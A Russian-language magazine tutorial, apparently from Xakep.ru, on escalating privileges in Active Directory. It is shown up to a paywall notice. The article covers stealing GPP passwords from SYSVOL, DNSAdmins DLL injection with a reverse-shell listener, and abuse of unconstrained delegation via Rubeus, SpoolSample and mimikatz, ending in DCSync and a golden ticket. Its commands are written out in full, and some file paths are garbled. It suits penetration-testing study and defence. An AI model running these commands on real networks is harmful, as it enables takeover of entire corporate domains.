Чтобы скомпрометировать контроллер домена, мало найти известную уязвимость, получить учетные данные пользователя или обнаружить ошибку в настройке политики безопасности. Это обеспечит тебе минимальный доступ, но его может не хватить для достижения всех намеченных целей. Поэтому залог успешной атаки — получение повышенных системных привилегий в Active Directory. О методах решения этой увлекательной задачи мы и поговорим.
Как гласит военная наука, имеющая много общего с хакерским ремеслом, прежде чем ввязаться в сражение, нужна разведка местности. О том, как извлечь пользовательские данные в Active Directory, читай в статье «Разведка в Active Directory. Получаем пользовательские данные в сетях Windows без привилегий».
На каждом компьютере с Windows, который работает в сети с Active Directory, имеется встроенная учетная запись администратора, защищенная паролем. Одно из стандартных требований безопасности — регулярно менять этот пароль. Казалось бы, задача несложная. Но только не когда в сети насчитывается под сотню машин.
Чтобы облегчить себе жизнь, ленивые системные администраторы иногда используют групповые политики для установки пароля локального администратора на большом количестве рабочих станций. Это довольно удобно, да и заменить такой пароль, когда придет срок, можно за пару минут. Одна незадача: на всех компьютерах пароль локального админа будет одинаковый.
Из этого следует вывод: получение учетных данных администратора на одной из машин сделает злоумышленника админом сразу на всех. Рассмотрим два способа добиться такого результата.
SYSVOL — это общедоменный ресурс Active Directory, к которому у всех авторизованных пользователей есть доступ на чтение. SYSVOL содержит сценарии входа, данные групповой политики и другие данные, которые должны быть доступны везде, где распространяется политика домена. При этом SYSVOL автоматически синхронизируется и используется всеми контроллерами домена. Все групповые политики домена хранятся по адресу \<Домен>SYSVOL<Домен>Policies
.
Чтобы упростить управление локальной учетной записью администратора на удаленных компьютерах с Windows, для каждой из них можно использовать собственный сценарий смены пароля. Проблема в том, что часто пароль хранится в виде открытого текста в скрипте (например, в файле VBS), который, в свою очередь, находится в SYSVOL. Вот пример одного из результатов поиска сценария VBS, меняющего пароль локального администратора на сетевых машинах.
Этот сценарий доступен в галерее Microsoft TechNet, из-за чего нередко используется системными администраторами, которые предпочитают готовые решения. Извлечь из него пароль не составляет никакого труда. А поскольку скрипт хранится в SYSVOL, к которому у каждого пользователя домена есть доступ для чтения, наличие пароля автоматически превращает его обладателя в локального администратора на всех сетевых машинах с виндой на борту.
В 2006 году инструмент PolicyMaker от Microsoft Bought Desktop Standard был переименован и выпущен вместе с Windows Server 2008 как Group Policy Preferences (GPP, «предпочтения групповой политики»). Одна из наиболее полезных функций GPP — возможность создавать локальных пользователей, настраивать и изменять их учетки, а также сохранять учетные данные в нескольких файлах сценариев:
Инструмент, безусловно, полезный: с его помощью можно автоматизировать многие рутинные действия. Например, GPP позволяет использовать групповую политику для выполнения запланированных задач с заданными учетными данными, а также при необходимости менять пароли локального администратора на большом количестве компьютеров.
Теперь давай посмотрим, как эта штука работает. При создании нового предпочтения групповой политики в SYSVOL генерируется связанный XML-файл с соответствующими данными конфигурации. Если в ней указан пароль пользователя, он будет зашифрован AES 256 бит. Но в 2012 году Microsoft опубликовала в MSDN ключ AES, который можно использовать для расшифровки пароля.
Иными словами, любой авторизованный в домене юзер может найти в общем ресурсе SYSVOL файлы XML, содержащие cpassword, то есть зашифрованный пароль AES.
Быстро найти эти значения можно следующей командой:
C:> findstr /S /I cpassword \<FQDN>sysvol<FQDN>policy*. xml
Для расшифровки пароля можно воспользоваться инструментом Cryptool, при этом нужно в ручном режиме декодировать Base64 и указать ключ с MSDN (подробная инструкция по расшифровке приведена в статье на Хабре). Существует и полностью автоматизированное средство под названием gpp-decrypt, которое требует только значение cpassword и уже предустановлено в Kali Linux. Аналогичная утилита для Windows называется Get-GPPPassword, ее можно отыскать в наборе программ PowerSploit.
Ну а для очень ленивых есть модуль smb_enum_gpp
из набора Metasploit. Этот инструмент попросит указать только учетные данные пользователей и адрес контроллера домена.
Так мы можем получить пароль локального администратора, и в большинстве случаев он будет работать на всех компьютерах домена.
Microsoft не только реализовала собственный DNS-сервер, но и внедрила для него протокол управления, позволяющий интегрировать DNS-сервер с доменами Active Directory. По умолчанию контроллеры домена также являются DNS-серверами, поэтому DNS-серверы должны быть доступны каждому пользователю домена. Это, в свою очередь, открывает потенциальную возможность для атаки на контроллеры домена: с одной стороны мы имеем сам протокол DNS, а с другой — протокол управления, основанный на RPC.
Пользователь, входящий в группу DNSAdmins или имеющий права на запись в объекты DNS-сервера, может загрузить на DNS-сервер произвольную DLL с привилегиями System. Это очень опасно, поскольку многие корпоративные сети используют контроллер домена в качестве DNS-сервера.
Таким образом, для реализации атаки мы можем просто загрузить на DNS-сервер произвольную библиотеку с помощью dnscmd (путь \ops-builddll
должен быть доступен для чтения DC):
PS C:> dnscmd ops_dc/config/serverlevelplugindll \ops-builddllmimilib.dll
Чтобы проверить, была ли загружена DLL, можно использовать следующую команду:
PS C:> Get-ItemProperty HKLM:SYSTEMCurrentControlSetServicesDNSParameters -Name ServerLevelPluginDll
Так как наш пользователь — член группы DNSAdmins, мы можем перезапустить службу DNS:
C:> sc \ops-dc stop dns C:> sc \ops-dc start dns
После перезапуска DNS-сервера будет выполнен код из загруженной библиотеки. Такая библиотека, например, может содержать скрипт PowerShell для обратного подключения.
После успешного выполнения скрипта мы будем прослушивать на своем хосте обратное подключение:
PS C:> powercat -l -v -p 443 -t 1000
В результате мы получим права system
на DC.
Делегирование — это функция Active Directory, позволяющая учетке пользователя или компьютера выдавать себя за другую учетную запись. В качестве примера разберем ситуацию, когда пользователь обращается к веб-приложению, чтобы работать с ресурсами на сервере базы данных.
Исходя из этой схемы, веб-сервер должен работать с сервером базы данных от имени пользователя. Здесь и помогает делегирование — к учетным записям пользователей в среде Windows применяется флаг TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (T2A4D) User-Account-Control
.
Атрибут User-Account-Control
(который не следует путать с механизмом контроля учетных записей Windows) устанавливает определенные атрибуты для учетных записей Active Directory — например, если учетная запись отключена, заблокирована или пароль пользователя никогда не истекает.
Для реализации делегирования Microsoft внедрила расширение протокола Kerberos «Служба для доступа пользователя к себе» (S4U2Self
). Это расширение позволяет службе запрашивать токен для другого пользователя, предоставляя имя пользователя, но не вводя пароль. Когда учетная запись пользователя имеет флаг T24AD
, такие токены могут быть запрошены с атрибутом forwardable, который дает службе возможность аутентифицироваться с этими токенами для других служб.
Чтобы избежать неограниченного делегирования, Microsoft гарантировала, что данные токены могут использоваться только для определенных служб, которые настроены для учетной записи пользователя через расширение «Служба для пользователя через прокси» (S4U2proxy
). Этот параметр контролируется атрибутом msDS-AllowedToDelegateTo
в учетной записи пользователя. Он содержит список имен участников службы, который указывает, на какие службы Kerberos пользователь может перенаправлять эти токены (так же, как выполняется обычное ограниченное делегирование в Kerberos). Например, ты хочешь, чтобы твоя веб-служба имела доступ к общей папке для пользователей. Тогда учетная запись службы должна иметь атрибут ms-DS-AllowedToDelegateTo "SIFS/fs.dom.com"
.
Для наглядности рассмотрим схему аутентификации Kerberos.
svc_web
.svc_web userAccountControl
для флага TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
, а также не заблокирован ли целевой пользователь для делегирования. Если все в порядке, KDC возвращает перенаправляемый билет для учетной записи пользователя (S4U2Self
).cifs/fs.contoso.com
.msDS-AllowedToDelegateTo
в учетной записи svc_web
. Если служба указана в списке, она вернет билет службы для общей папки (S4U2proxy
).При неограниченном делегировании Kerberos на сервере, на котором размещена служба, контроллер домена DC помещает копию TGT (ticket granting ticket — билет для получения билета) пользователя в TGS (Ticket Granting Server — сервер выдачи билетов или разрешений) службы. Когда данные пользователя предоставляются серверу для доступа к службе, сервер открывает TGS и помещает TGT пользователя в LSASS (Local Security Authority Subsystem Service — сервис проверки подлинности локальной системы безопасности) для дальнейшего использования. Сервер приложений теперь может выдавать себя за этого пользователя без ограничений!
Таким образом, хост, на котором активно неограниченное делегирование, будет содержать в памяти TGT делегированного пользователя. Наша задача — его достать, чтобы скомпрометировать пользователя. Данный вид атаки возможен, если мы скомпрометировали сам хост либо пользователя, имеющего право управлять хостом с делегированием.
Обнаружить все компьютеры с неограниченным делегированием Kerberos очень просто: у них будет выставлен флаг TrustedForDelegation
. Это определяется с помощью инструмента ADModule, а конкретнее — следующей команды:
PS C:> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Того же результата можно достигнуть, выполнив такую команду PowerView:
PS C:> Get-DomainComputer–Unconstrained
Теперь нужно отослать запрос MS-RPRN RpcRemoteFindFirstPrinterChangeNotification
(аутентификация Kerberos) на сервер печати DC (служба Spooler). DC немедленно отправит ответ, который включает TGS (полную копию TGT) учетной записи компьютера контроллера домена, так как на нашем хосте используется неограниченное делегирование.
Чтобы это сделать, сначала поставим прослушивание входящих соединений с помощью Rubeus:
C:> Rubeus.exe monitor /interval:1
Теперь инициируем запрос с помощью SpoolSample:
C:>. SpoolSample.exe DC.domain.dom yourhost.domain.dom
В Rubeus мы увидим подключение.
Теперь получим TGT:
C:> Rubeus.exe ptt /ticket:doIE+DCCBPSgAwIBBaE ... C:> Rubeus.exe klist
Имея TGT, мы можем выполнить DCSync-атаку с помощью mimikatz:
## lsadump::dcsync /user:HACKERkrbtgt
Мы добыли NTLM-хеш учетной записи krbtgt
и теперь можем сделать golden ticket, с которым получим полный доступ ко всей инфраструктуре домена:
## kerberos::golden /user:Administrator /domain:domain.dom /sid:S-1-5-21-1559558046-1467622633-168486225 /krbtgt:9974f218204d6b8109ea99ae9c209f23 /ptt
Теперь можно удаленно подключиться к контроллеру домена с учетной записью администратора:
PS C:> Enter-PSSession -ComputerName dc
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее
1 год7690 р. |
1 месяц720 р. |
Я уже участник «Xakep.ru»
Читайте также
Последние новости